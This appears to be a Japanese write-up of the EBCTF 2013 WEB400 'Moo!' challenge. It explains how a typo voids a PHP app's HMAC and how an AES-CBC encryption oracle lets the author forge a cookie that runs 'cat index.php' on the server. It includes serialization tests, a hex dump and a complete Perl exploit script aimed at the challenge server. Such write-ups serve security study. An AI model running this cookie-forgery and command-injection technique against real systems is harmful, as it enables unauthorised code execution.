Writeup: EBCTF 2013 - Challenge WEB400 “Moo!”

入力した名前でcowsayコマンドが実行されて出力が表示される。
http://54.216.166.38/index.phps にソースがある。ソース中に

  • CBCのIV
  • AESの鍵
  • HMACの鍵
  • Flag

が入る場所があり、その値は消されている。
サーバ側で他のコマンドを実行してindex.phpのソースを表示できれば勝ち。

    $settings = array(
            'name' => $_POST['name'], 
            'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
    );

をserializeして、後ろにHMACの16進文字列を付加して、AES(ブロックサイズ128 bits = 16 bytes)、CBCモードで暗号化の後、Base64エンコードしたものをCookieに入れている。

Cookieからこのgreetingの値を読み出して実行するので、greetingを書き換えて実行したいコマンドに設定する。

まず、ブロックの暗号化オラクルが存在することがわかる。
すなわち、c1が既知の時、m2を適切に設定することで m = c1 xor m2 に対応するcが得られる。

HMACを突破できるとは思えないのだが、ソースをよくよく見るとtypoだろう間違いでHMACが機能していない。

    return hash_hmac('sha1', data, MY_HMAC_KEY);
                             ~~~~

本当にこのコードで動いてるのだとすれば、MAC対象のデータは"data"という文字列とみなされるのでHMACは固定となる。

serializeの仕様を確認する。

$ php -r 'echo (serialize(array("name" => "abc", "greeting" => "cowsay abc")));'
a:2:{s:4:"name";s:3:"abc";s:8:"greeting";s:10:"cowsay abc";}

"はエスケープされることなく入る。文字列長だけで見る。

$ php -r 'echo (serialize("a\"b"));'
s:3:"a"b";

後ろにゴミデータをつけても無視される

$ php -r 'var_dump(unserialize(serialize(array("abc" => "def")) . "hoge"));'
array(1) {
  ["abc"]=>
  string(3) "def"
}

Aを199回繰り返した名前を入力して考える。

$ php -r '$s = str_repeat("A", 199); echo(serialize(array("name" => $s, "greeting" => ("cowsay ".$s)))); echo str_repeat("HMAC", 10);'
a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:206:"cowsay AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC

これを次のように改ざんする。

a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:13:"cat index.php";}garbagegarbagegarbage...HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC
0000000: 613a 323a 7b73 3a34 3a22 6e61 6d65 223b  a:2:{s:4:"name";
0000010: 733a 3139 393a 2241 4141 4141 4141 4141  s:199:"AAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000d0: 4141 4141 4141 4141 4141 4141 4141 223b  AAAAAAAAAAAAAA";
00000e0: 733a 383a 2267 7265 6574 696e 6722 3b73  s:8:"greeting";s
00000f0: 3a32 3036 3a22 636f 7773 6179 2041 4141  :206:"cowsay AAA
0000100: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000110: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000120: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000130: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000140: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000150: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000160: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000170: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000180: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001c0: 4141 4141 223b 7d48 4d41 4348 4d41 4348  AAAA";}HMACHMACH
00001d0: 4d41 4348 4d41 4348 4d41 4348 4d41 4348  MACHMACHMACHMACH
00001e0: 4d41 4348 4d41 4348 4d41 4348 4d41 43    MACHMACHMACHMAC

0x1b0以降が最後に付いていればHMACを通過するはずである。
実際、0x1b0以降を複製して二回繰り返しても動作したので正しい。

以下の攻撃プログラムで通した。

use strict;
use warnings;

use MIME::Base64;

sub encode_percent {
        my $s = shift;
        $s =~ s/(\W)/'%'.unpack("H*", $1)/ge;
        $s;
}
sub decode_percent {
        my $s = shift;
        $s =~ s/%(..)/pack("H*", $1)/ge;
        $s;
}

sub get_cipher {
        my $name = shift;
        
        my $r = `curl -s -i http://54.216.166.38/ -d name=@{[encode_percent($name)]}`;
        die unless $r =~ /Set-Cookie: settings=(.+)/;
        return decode_base64(decode_percent($1));
}

sub split_block {
        my $s = shift;
        my @b;
        for my $i (0..(length($s)+15)/16 - 1) {
                push @b, substr($s, 16*$i, 16);
        }
        return @b;
}

sub to_hex {
        my $s = shift;
        unpack("H*", $s);
}

sub run_setting {
        my $settings_cipher = shift;
        my $r = `curl -v -s -i http://54.216.166.38/ -b settings=@{[encode_percent(encode_base64($settings_cipher))]}`;
        $r;
}

sub encrypt_block {
        my $block = shift;
        my $prev = pack "H*", "698b72b3871ae61ba05d4ac7707edcaf";
        my $s = "\0"x9 . ($prev^$block) . "\0"x(199-25);
        print length($s), "\n";
        (split_block(get_cipher($s)))[2];
}

my $s = get_cipher("A"x199);
my @b = split_block($s);

$b[15] = encrypt_block(':13:"cat index.p' ^ $b[14]);
$b[16] = encrypt_block('hp";}           ' ^ $b[15]);

print run_setting(join("", @b));

最初、 my $s = get_cipher("\0"x199); として動かないと悩んでいたが、id:k_operafan さんが華麗に"A"に修正して動かしてくれた。考えてみれば"\0"はescapeshellargで消されてしまう。